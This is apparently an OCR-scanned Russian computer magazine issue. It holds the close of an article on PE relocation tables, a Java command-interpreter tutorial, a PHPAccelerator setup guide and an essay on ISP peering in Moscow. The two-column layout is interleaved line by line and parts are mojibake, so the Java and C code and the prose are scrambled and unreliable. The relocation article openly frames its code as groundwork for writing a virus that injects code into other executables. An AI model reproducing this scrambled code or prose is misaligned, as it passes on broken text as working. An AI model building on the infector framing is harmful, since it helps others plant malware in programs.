// ìàññèâ óïàêîâàííûõ ïåðåìåùàåìûõ ýëåìåíòîâ switch(typeX)
// WORD TypeOffset[1]; {
} IMAGE_BASE_RELOCATION; case 0: printf("\tIMAGE_REL_BASED_ABSOLUTE\n");
break;
Ëèñòèíã 17. Èñòèííûé ðàçìåð ìàññèâà TypeOffset
case 3: printf("\tIMAGE_REL_BASED_HIGHLOW ↵
TypeOffset[(SizeOfBlock – sizeof(VirtualAddress) – ↵ @ %08Xh --> %08Xh\n",
sizeof(SizeOfBlock))/sizeof(WORD)] offsetX + pPreferAddress, ↵
offsetX + pBaseAddress);
I386-загрузчик поддерживает двенадцать типов пере- break;
default:
мещаемых элементов, но на практике обычно использует- printf("\t%x - not supported\n", typeX);
ся лишь один из них: IMAGE_REL_BASED_HIGHLOW (03h), break;
}
указывающий на младший байт 32-разрядного значения, } printf("\n");
к которому следует добавить дельту загрузчика. В пере- // áåðåì ñëåäóþùèé áëîê
воде на межсистемный программистский это выглядит так: pReloc += blockSize;
}
}
if ((TypeOffset[i] >> 12) == 3 ) *(DWORD*) ((TypeOffset[i] ↵
& ((1<<12)-1)) + pageRVA + (DWORD) pBaseAddress) ↵
+= ((DWORD) pBaseAddress - (DWORD)pPreferAddress)
Заключение
Когда будете это делать, не забудьте предварительно …уф! наконец-то мы добрались до кочки, одиноко торча-
убедиться, что соответствующая страница памяти имеет щей среди топкого болота. Теперь можно обсохнуть, от-
атрибут Writable и, если его нет, временно измените атри- мыться, собраться с мыслями и какое-то время передо-
буты страницы, обратившись к API-функции функции хнуть. Вы еще не передумали писать свой вирус? Да уж!
VirtualProtectEx, а после исправления всех перемещаемых Такой марш-бросок любое влечение угробит… И правиль-
элементов верните атрибуты назад. но! В этом мире выживают лишь те, чье стремление ра-
Остальные типы перемещаемых элементов описаны в зобраться в системе доминирует над желанием напакос-
спецификации на PE-файл. Обещаю, что вы узнаете мно- тить ближнему своему. Написать грамотный и во всех от-
го интересного. В частности, перемещаемые элементы ношениях корректный «внедритель» ох как непросто! И
типа IMAGE_REL_BASED_HIGHADJ хранят целевой адрес пока вы будете переваривать полученную информацию,
сразу в двух TypeOffset. Первый указывает на ячейку, со- незаметно подоспеет следующий номер со следующей
держащую старшее перемещаемое слово, а второй – порцией информационного концентрата. Когда они соеди-
младшее. На I386-процессорах такая комбинация не име- нятся вместе, произойдет своеобразная алхимическая
ет никакого смысла, но на других платформах может быть реакция и на свет родится крохотный организм огромно-
широко распространена. го кибернетического мира. Конкретно, в статье будет по-
Ниже приведен исходный текст простейшего дампера казано именно как осуществляется внедрение машинно-
таблицы перемещаемых элементов: го кода в посторонее тело.
АЛЕКСАНДР ФЕФЕЛОВ
Я часто сталкиваюсь с необходимостью создания интер- интерпретатор для командного языка. В качестве языка
претаторов командных языков и встраивания их в прило- программирования я буду использовать Java.
жения. Под командным языком я понимаю язык, предназ-
наченный для последовательного исполнения операторов Intro
вызова команд, описываемых простым синтаксисом: Итак, имеется некоторый язык (далее будем называть его
целевым), поддерживающий только один оператор – опе-
êîìàíäà [ïàðàìåòð1 [ïàðàìåòð2 ... [ïàðàìåòðN]]] ратор вызова команды. Программы на этом языке запи-
сываются в виде последовательности строк, причем в
Языки подобного рода могут быть использованы: одной строке может быть расположен только один опера-
! для расширения функциональности приложений с по- тор. Система команд целевого языка полностью опреде-
мощью скриптов или макросов; лена решаемой задачей.
! для удаленного управления приложениями (например, Необходимо для этого языка создать интерпретатор,
с помощью протокола Telnet); который, получив очередной оператор, будет выполнять
! для создания интерактивных тестовых программ. его и возвращать результат выполнения.
Возможно, результат выполнения текущего операто-
Примерами таких языков являются язык командной ра будет зависеть от результатов выполнения предыду-
строки ftp-клиента или языки управления столь распрост- щих операторов или от состояния приложения, в которое
раненными сейчас DSL-модемами. встроен интерпретатор. Например, в том же ftp-клиенте
В этой статье я предложу простое решение, которое нельзя получить файл командой get, если перед этим не
позволит вам с минимальными трудозатратами создать было установлено соединение с сервером. Поэтому, ин-
72
программирование
терпретатор должен поддерживать понятие контекста ис- информацию. Оба метода в качестве параметра получа-
полнения, причем одним из результатов выполнения опе- ют имя, под которым команда зарегистрирована в целе-
ратора может быть изменение этого контекста. вом языке.
74
программирование
В качестве примера создадим конкретный интепрета- SetCommand, интерфейс которой схож с интерфейсом
тор и реализуем для него простую, но мощную систему команды SET командных процессоров bash и CMD.EXE.
команд. Вызов SetCommand без параметров будет возвращать
список пар «переменная=значение» для всех переменных,
import java.util.*; определенных в контексте.
import simplecli.command.*; Вызов с одним параметром удалит из контекста пере-
менную, заданную параметром.
public class BaseInterpreter extends Interpreter {
Вызов с двумя параметрами установит переменную,
указанную первым параметром, в значение, заданное вто-
public void initContext(Properties context) {
context.setProperty("$QUIT", "false"); рым параметром.
context.setProperty("$STOPONERROR", "false");
context.setProperty("$PROMPT", ">"); package simplecli.command;
}
import java.util.*;
public void initCommands(Hashtable commands) { import simplecli.error.*;
commands.put("exit", new ExitCommand());
commands.put("quit", new ExitCommand()); public class SetCommand implements Command {
commands.put("bye", new ExitCommand());
commands.put("help", new HelpCommand(this));
commands.put("?", new HelpCommand(this)); public String run(Properties context,
ArrayList parameters) throws SyntaxError {
commands.put("set", new SetCommand());
commands.put("register", new RegisterCommand(this));
commands.put("unregister", new UnregisterCommand(this)); switch (parameters.size()) {
case 0:
} // Íåò ïàðàìåòðîâ - âîçâðàùàåì ñïèñîê âñåõ
}
// ïåðåìåííûõ â êîíòåêñòå âûïîëíåíèÿ.
StringBuffer sb = new StringBuffer();
Enumeration names = context.propertyNames();
Как видите – ничего сложного. В контексте создаются while (names.hasMoreElements()) {
описанные выше специальные переменные, а в системе String name = (String) names.nextElement();
String val = context.getProperty(name);
команд регистрируются несколько команд, о реализации sb.append(name + "=" + val);
которых мы и поговорим ниже. if (names.hasMoreElements()) {
sb.append(CRLF);
Самая простая команда – команда завершения интер- }
претации ExitCommand (здесь и далее я называю коман- }
if (sb.length() > 0) {
ды по именам классов, их реализующих). Эта команда return sb.toString();
просто меняет значение контекстной переменной $QUIT: } else {
return null;
}
package simplecli.command;
case 1:
import java.util.*; // Îäèí ïàðàìåòð - óäàëÿåì èç êîíòåêñòà âûïîëíåíèÿ
// ïåðåìåííóþ, óêàçàííóþ â êà÷åñòâå ïàðàìåòðà.
import simplecli.error.*; context.remove((String) parameters.get(0));
return null;
public class ExitCommand implements Command {
case 2:
public String run(Properties context, // Äâà ïàðàìåòðà - óñòàíàâëèâàåì â êîíòåêñòå
ArrayList parameters) throws SyntaxError { // âûïîëíåíèÿ ïåðåìåííóþ, óêàçàííóþ â êà÷åñòâå
// ïåðâîãî ïàðàìåòðà, â çíà÷åíèå, óêàçàííîå
if (parameters.size() > 0) { // â êà÷åñòâå âòîðîãî ïàðàìåòðà.
throw new SyntaxError(); context.setProperty((String) parameters.get(0),
} (String) parameters.get(1));
return null;
context.setProperty("$QUIT", "yes");
return null; default:
} throw new SyntaxError();
}
public String getDescription(String name) { }
return "Exits current interpreter session.";
} public String getDescription(String name) {
return "Manages environment variables.";
public String getHelp(String name) { }
return "Exits current interpreter session."
+ CRLF + "Syntax: " + name; public String getHelp(String name) {
} return "Manages environment variables."
+ CRLF + "Syntax: " + name + " [variable [value]]";
private final static String CRLF = }
System.getProperty("line.separator");
private final static String CRLF =
} System.getProperty("line.separator");
}
Управление контекстом выполнения
Управляя контекстом выполнения, команды могут изме- Побочным эффектом изменения контекста может быть
нять состояние программы, в которую встроен интерпре- влияние на процесс интерпретации. Например, описанная
татор, или влиять на выполнение других команд. выше команда завершения интерпретации может быть
Для управления контекстом мы реализуем команду реализована непосредственно на целевом языке:
76
программирование
throw new ClassCastError(); public class BaseInterpreterTest {
}
public static void main(String[] args)
commands.put(name, command); throws IOException {
return null; System.out.println("BaseInterpreter testbed");
}
BufferedReader in = new BufferedReader(
public String getDescription(String name) { new InputStreamReader(System.in));
return "Registers new command."; PrintWriter out = new PrintWriter(System.out, true);
}
Interpreter interpreter = new BaseInterpreter();
public String getHelp(String name) { interpreter.interpret(in, out, out);
return "Registers new command." }
+ CRLF + "Syntax: " + name + " command class";
} }
private Interpreter interpreter;
Компилируем, запускаем, экспериментируем:
private final static String CRLF =
System.getProperty("line.separator");
}
У команды UnregisterCommand всего один параметр,
который задает команду, подлежащую удалению из сис-
темы команд.
import java.util.*;
import simplecli.*;
import simplecli.error.*;
package simpleclitest;
АНДРЕЙ УВАРОВ
78
web
Итак, что же такое PHPAccelerator (PHPA)? Это расшире-
ние, подключаемое к PHP-компилятору, которое за счёт
кэширования ускоряет работу скриптов. В вышеупомяну-
той статье мы ускоряли работу скриптов за счёт кэширо-
вания их вывода, но в данном случае кэширование под-
разумевает устранение чтения кода, его грамматическо- Способ 2
го разбора, компилирования, многих операций выделения Дело в том, что если PHPAccelerator установлен, то в мас-
памяти и копирования, а также, отчасти, дисковых опера- сиве $GLOBALS создаётся ключ _PHPA. Вот пример про-
ций. Очень важно, что для кэширования скриптов мы не стого скрипта, выводящего содержимое этой переменной:
должны изменять каким-либо образом код. Это является
большим плюсом и экономит наше время, по сравнению с <?php
var_dump($GLOBALS['_PHPA']);
организацией кэширования скриптов вручную. Находит- ?>
ся PHPAccelerator по адресу: http://php-Accelerator.co.uk и
является полностью бесплатным. В настоящий момент Если всё в порядке, то результат должен быть пример-
существуют версии для платформ: Linux, OpenBSD, но следующим:
FreeBSD, BSDi и Solaris. Возможно, в будущем в этот спи-
сок будет включена и Windows. Стоит также заметить, что array(3) {
["ENABLED"]=>
PHPAccelerator совместим только с веб-сервером Apache, bool(true)
но как надеются разработчики, будет осуществлена под- ["iVERSION"]=>
int(10302)
держка и для других веб-серверов, из которых следую- ["VERSION"]=>
щим является Zeus. string(5) "1.3.2"
}
Установка PHPAccelerator даже для неискушённого
пользователя представляет собой дело весьма простое. В противном случае будет выведено «NULL». Чтобы
Скачав архив с нужной версией и распаковав его, мы по- определить, в чём заключается неисправность, заглянем
лучаем несколько файлов характера «readme», phpa_ в error_log (error_log является местом, куда веб-сервер со-
cashe_admin и собственно саму библиотеку с названием храняет сведения о возникающих ошибках и некоторую
вроде «php_accelerator_1.3.3r2.so». Для установки необ- другую служебную информацию, обычно этот файл рас-
ходимо скопировать эту библиотеку в то место, где, по полагается в каталоге /var/log/httpd). Наличие сообщения,
вашему мнению, она должна находиться, обычно это /usr/ подобного следующему:
local/lib (лично мне больше нравится /usr/local/lib/phpa). В
качестве следующего шага необходимо добавить в фай-
ле php.ini полный путь к месту, где находится PHPAccelerator.
Например: свидетельствует о несовместимости PHPAccelerator с ус-
тановленной версией PHP. В этой ситуации вам необхо-
zend_extension=/usr/local/lib/phpa/php_accelerator_1.3.3r2.so димо скачать нужную версию PHPAccelerator и заменить
ей старую. Это решит возникшую перед вами проблему.
по причине того, что PHPAccelerator не является модулем, Установив PHPAccelerator, уже можно наслаждаться
используется параметр zend_extension. повышением быстродействия. Ознакомиться с тестами
Если вы используете модуль «dbg.so», то для коррект- производительности, можно по адресу: http://www.php-
ной работы вам скорее всего придётся его отключить, так accelerator.co.uk/perfomance.php.
как он является несовместимым с PHPAccelerator. Для того Но, как говорится, нет предела совершенству. Вы мо-
чтобы все совершённые нами изменения вступили в силу, жете самостоятельно изменить настройки посредством
необходимо перезагрузить веб-сервер. Как и было обе- добавления соответствующих ключей в файл php.ini и
щано, установка не представила никаких трудностей. присвоения им нужных вам значений. Таким образом,
После инсталляции возникает вопрос: «А как прове- можно определить файлы или каталоги, которые не дол-
рить, работает ли PHPAccelerator?». жны подвергаться кэшированию, установить промежуток
Существует несколько способов проверить вызываю- времени, через который будет осуществляться чистка
щий у нас сомнения факт. кэша (чистка кэша заключается в удалении кэширован-
ных файлов, срок жизни которых истёк, т.е. тех, которые
Способ 1 не использовались дольше установленного времени). Бо-
При работе PHPAccelerator добавляет к HTTP-заголовку лее подробно о настройке говорить не стоит, так как всё
ответа параметр: X-Accelerated-By. Вы можете проверить очень подробно описано в файле CONFIGURATION, по-
это, выполнив команду HEAD. ставляемом вместе с PHPAccelerator, да и особых трудно-
Например: стей возникнуть не должно.
Единственное, что хочется добавить, так это то, что,
приступая к настройке, да и вообще использованию, вы
должны быть уверены в том, что знаете, насколько часто
вызываются и обновляются ваши скрипты, иначе вы про-
сто не получите должного результата.
80
образование
ПИРИНГ
82
образование
будет больше в силу географического расположения або- образом: «Первые российские провайдеры подключались к
нентов, и такие звонки можно назвать локальными в преде- коммерческим и академическим узлам на Западе прямыми
лах конкретной АТС. В любом случае, даже если два або- каналами, – когда Интернет только-только появился у нас в
нента из разных районов будут звонить друг другу, то связь стране, никакой соответствующей инфраструктуры здесь,
между ними будет установлена локально в пределах Моск- естественно, ещё не было. Первое время она, казалось, была
вы, и им совершенно нет необходимости пользоваться меж- и не особенно нужна, – электронная почта использовалась
дугородней или международной связью. Количество звон- учёными и бизнесменами в основном для контактов с за-
ков по городу на порядок больше числа звонков в другие падными коллегами; основные файловые архивы и наибо-
города, и никому даже в голову не придёт, что для звонка по лее многочисленные веб-сервера располагались за океа-
Москве надо иметь выход на межгород. ном, – так что проблемы внутрироссийской связности мало
Теперь та же ситуация с компьютерными сетями. Те же кого беспокоили, а вот прямые каналы в самое «сердце» Ин-
Аня и Ваня, но уже абоненты их домовой или районной сети, тернета, напротив, очень ценились. Именно тогда и появи-
будут чаще меняться трафиком между собой, например, иг- лось забытое ныне подразделение провайдеров на «первич-
рая в какую-то игрушку, чем с абонентами другой сети – ных» и «вторичных», – те, кто располагал прямым каналом
Мишей и Петей. Даже если учесть, что они все знакомы, и на Запад, оказывались в преимущественном положении по
могут играть вместе, то их общий обменный трафик исходя сравнению с подключающимися уже к ним более мелкими
из здравого смысла должен быть локальным в пределах коллегами, да и качество связи своим клиентам обеспечи-
Москвы. Данная ситуация есть разумное развитие событий вали более высокое. Однако со временем число пользова-
и как раз и есть «пиринг». телей в нашей стране росло, росло и количество располо-
АТС, обслуживающая Аню и Ваню, и АТС, обслуживаю- женных здесь информационных ресурсов. Дорогостоящая
щая Мишу и Петю, как и их интернет-провайдеры, догова- пропускная способность международных каналов всё силь-
риваются о совместном обмене трафиком. На практике это нее и сильнее загружалась исключительно внутрироссийс-
выглядит так: они скидываются вместе по некоторой не- ким трафиком – нередко электронное письмо, отправлен-
большой сумме денег на обслуживание их общего соеди- ное на соседнюю улицу, шло от одного нашего провайдера
нения и далее живут мирно, АТС, передавая звонки друг по прямому внешнему каналу в Европу, оттуда – в Штаты и
другу, а провайдеры – пакеты. Обычно все от этого выиг- уже оттуда, по другому международному каналу, – обратно
рывают и не считают, кто к кому сколько раз звонил или в Россию, к провайдеру адресата. Понятно, что ни дешевиз-
переслал пакетов. не, ни качеству коммуникаций такая организация связи не
Если же Ваня надумает позвонить своему приятелю Джо- способствовала.
ну в США, то он заплатит за международный звонок по от- Когда внутрироссийский трафик начал занимать в общем
дельному тарифу. потоке заметную долю, стало очевидным, что было бы на-
То же самое и в Интернете: если вдруг потребуется пере- много удобнее переслать пакет данных на соседнюю улицу
дать пакет в США, он будет посчитан по зарубежному тари- по прямому проводу, чем дважды гонять его через океан и
фу. Теперь давайте зададим вопрос следующего раздела и обратно. Отечественные провайдеры к тому моменту успе-
рассмотрим его. ли уже заметно расплодиться, и прокладывать прямой ка-
бель от каждого к каждому было бы задачей непосильной
Почему о пиринге не знают организационно и неподъёмной финансово. Куда дешевле
конечные пользователи? и удобнее было бы организовать обмен трафиком в одной
Потому что никому до этого нет дела, по той причине, что точке – каждому из участвующих провайдеров было бы до-
при правильном стечении обстоятельств «пиринг» получа- статочно дотянуть до неё единственный канал, чтобы иметь
ется сам собой, и все охотно идут на него. Никому и в голову возможность напрямую передавать трафик всем остальным
не придёт то, что звонок из Москвы в Москву должен идти участникам.
через Воронеж, Стокгольм или Нью-Йорк. Что нельзя или Такая точка была создана в здании международной те-
сложно сделать на примере телефонной сети, легко и про- лефонной станции ММТС-9 (в просторечии – М9) в 1995
сто можно сделать в сети Интернет. Не все пользователи и году – основателями московского IX (Internet eXchange) ста-
даже не все администраторы досконально представляют ли АО «РЕЛКОМ», ООО «Компания «ДЕМОС», МГУ (сеть
себе работу АТС или Интернета от начала и до конца, дан- RUNnet/MSUnet), НИИЯФ МГУ (сеть RUHEP/Radio-MSU), Кор-
ная общая безграмотность и позволяет нас дурачить и об- порация «УНИКОР» (сеть FREEnet), Ассоциация RELARN,
манывать. Так кто же может нас обманывать и зачем? – об АО «РОСПРИНТ», – операторы крупнейших на тот момент в
этом в следующем разделе. России IP-сетей. Обслуживание канала по Москве и аренда
стойки под оборудование обходились в совершенно смеш-
Что было ранее и происходит сейчас? ные деньги по сравнению с платой за международные кана-
Ранее, до 3 декабря 2002 года, развитие российского рынка лы, а главное – эти расходы совершенно не зависели от объё-
доступа в Интернет, при некотором отставании по времени, мов передаваемого трафика. Кроме того, расположенное в
шло в русле общемировой практики. Скорости доступа и одном и том же здании оборудование крупнейших российс-
качество услуг росли, а цены неуклонно снижались. Пирин- ких провайдеров, вполне естественно, было соединено меж-
говая политика наших провайдеров была по возможности ду собой по технологии Ethernet, – в результате чего в эпоху,
максимально разумна. когда спутниковый канал 256 Кбит/с считался весьма скоро-
А.Милицкий [1] происходившее описывает следующим стным, в России появился десятимегабитный национальный
84
образование
теперь «заграницей», и суммы выставленных счетов под- Вот эти несколько фирм с раздельной тарификацией:
скочили в полтора раза. ! ООО «АГ Телеком»
При этом весьма занимательно, что «Анекдоты из Рос- http://www.agtel.net/tariffs/internet/index_ag.phtml#ros.
сии» за те наносекунды, что требуются IP-пакетам для пре- Òàáëèöà 1. Òàðèôíûé ïëàí «Ðîññèéñêèé»
одоления нескольких десятков метров внутри М9, оказыва- (áåç ó÷¸òà ðîññèéñêîãî òðàôèêà)
ются проданными дважды. Сначала «РТКомм.Ру» берёт
деньги с «Мастерхоста» за исходящий от него во внешний
мир трафик, а потом за этот же трафик выставляет счета
тянущим его провайдерам, – бизнес-модель, согласитесь,
весьма остроумная» [1].
Большие зарубежные компании, являющиеся для боль-
шинства наших провайдеров up-stream-провайдерами вро-
де Telia, Sonera и Cable & Wireless, в силу масштабов своих
оборотов по сравнению с нашими компаниями смогли пред-
ложить цену за трафик более низкую, чем его можно ку- Пусть на небольших скоростях, до 2 Мбит/с, но всё равно
пить напрямую. В результате наши российские деньги, ко- это интересно.
торые могли бы остаться в стране, потекли в эти зарубеж- ! ЗАО «Инвестэлектросвязь» (Корбина Телеком)
ные компании. http://www.corbina.net/internet/trafic.shtml
Поначалу были некоторые возмущения о произошедшем, Òàáëèöà 2. Òàðèôíûé ïëàí «Ðîññèÿ»
желания судиться у некоторых фирм, создать пиринговую
группу противодействия и пр. возмущения, но со временем
по экспоненте все волнения затихли и на сегодняшний день
по прошествии почти полутора лет ничего практически не
изменилось и сложилась довольно стабильная ситуация из
двух лагерей провайдеров [7]. Первый – это участвующие в
дешёвом пиринговом обмене трафиком и входящие в Рос-
сийскую Пиринговую Группу (РПГ), и второй – входящие в
Отдельную Пиринговую Группу (ОПГ), продающие и покупа-
ющие свой трафик помегабайтно.
Чтобы оценить, кто от этого выиграл, кто от этого проиг-
рал, давайте разберёмся в некоторых моментах на практике.
! ЗАО «Дэйта Форс Ай-Пи» (Data Force)
Наблюдения на практике http://www1.df.ru/services_2.html
Cледует отметить, что пиринговая тенденция существует во Òàáëèöà 3. Òàðèôíûé ïëàí ñ ðàçäåëüíîé îïëàòîé ðîññèéñêîãî
всём мире и Россия входит в Euro-IX [5]. Большую часть ин- è çàðóáåæíîãî òðàôèêà
формации о пиринге можно получить на сайте Московского
Internet Exchange [1], такую как статистика: http://www.msk-
ix.ru/rus/tech/stat.shtml, цены: http://www.msk-ix.ru/rus/docs/
prices.shtml и другую не менее интересную информацию.
Давайте рассмотрим участников подключения MSK-IX [4]. Я
поставил задачу найти провайдеров, предоставляющих та-
рифные планы с Россией unlimited в принципе, так как под- ! Информационно-Маркетинговый Телекоммуникацион-
ключение к одному и тому же провайдеру сильно зависит от ный Центр МГУ им. М.В.Ломоносова «ИМТ» (MSUNet)
затрат на подведение к нему кабеля, что мной не учитыва- http://www.direct.ru/internet/index_line.html
лось. С наибольшей вероятностью такие провайдеры долж- Òàáëèöà 4. Òàðèôíûé ïëàí «Unlimited Russia»
ны иметь прямое подключение к другим участникам пирин-
гового обмена MSK-IX, реже они подключаются через кого-
то. Просмотрев сайты всех 127 фирм [4], я нашёл лишь не-
сколько, вывесивших в открытом виде свои тарифы с раз-
дельной тарификацией для российского и зарубежного тра-
фика. Полностью безлимитные предложения с ограничен-
ной скоростью не рассматривались.
Наблюдается большой процент фирм, основной вид дея-
тельности которых, судя по содержанию их веб-сайтов, не
связан с телематическими услугами. То есть фирмы, жела-
ющие получать быстрый Интернет «из первых рук». Также
большой процент фирм с гибкой ценовой политикой, при-
чём настолько гибкой, что они не могут выставить даже ба- ! ООО «ТОР-Инфо» (TI-Net)
зовые цены на сайте, предлагая уточнять их по телефону. http://www.ornet.ru/?services.php
86
образование
веров из разных групп провайдеров, и проследить маршру- кий провайдер, как Комкор, то, может, всё же есть за пирин-
ты и число ретрансляций: гом будущее?
! 195.34.32.10 – DNS МТУ-Интел,
! 81.195.6.169 – один из адресов МТУ-Интел Выводы
! 212.44.130.6 – DNS Совинтел (Голден-Телеком) А выводы можно сделать не самые утешительные. Мы теря-
! 212.16.0.1 – DNS ИМТЦ «МГУ» ем деньги, переводя их за рубеж, тормозим свой экономи-
! 195.2.64.36 – DNS Zenon N.S.P. ческий рост. Видимо, наше общество ещё не до конца со-
! 194.87.0.8 – DNS Demos зрело до понимания необходимости введения обязательно-
го пиринга в столице, а потом и по всей нашей необъятной
Попробуйте ради эксперимента самостоятельно прове- Родине. Это не то, на чём следует делать деньги, ограничивая
рить различные маршруты. Результаты трассировок долж- трафик. К сожалению, многие не только не понимают, что пи-
ны лишь подтвердить вышеописанное разделение провай- ринг способствует развитию сетей, экономическому росту и
деров на две группы. росту благосостояния граждан в целом, но и вообще не зна-
ют, что это такое. Надеюсь, что после этой статьи людей, име-
Будущее за пирингом? ющих хотя бы отдалённое представление, станет больше.
Скорее всего да. Пиринг в целом явление полезное. Пожа- Замечание по поводу пиринга из жизни. (Спасибо А. Гла-
луй, вряд ли найдётся у нас в стране хотя бы один интернет- дилину.) Следует отметить, что многие проблемы по расчё-
пользователь, который не вздыхал бы с грустью, читая про там между провайдерами с раздельной тарификацией и
счастливых американцев, которым скоростной выделенный абонентами берутся из-за неполного понимания абонента-
канал, поданный на дом, обходится в $30 – $50 ежемесячно- ми того, что может происходить с маршрутизацией. Пробле-
го платежа независимо от объёмов потребления. Такая щед- ма здесь не в том, что абоненты не понимают, что какие-то
рость по отношению к клиенту, помимо иных причин, оказа- сайты домена .ru расположены за рубежом и их трафик не
лась возможной благодаря тому, что в Штатах практически является российским (это большинство понимает хорошо),
весь потребляемый трафик – местный. Его передача по а в том, что Интернет – это динамическая структура по сво-
сверхскоростным каналам, соединяющим американские IX, ей природе. Это чаще всего теряется из виду даже у опыт-
обходится настолько дёшево, что деньги взымаются не за ных пользователей. Следует понимать, что в сети с динами-
скачанные мегабайты, а за предоставленный сервис. По мере ческой маршрутизацией, если падает какой-то канал или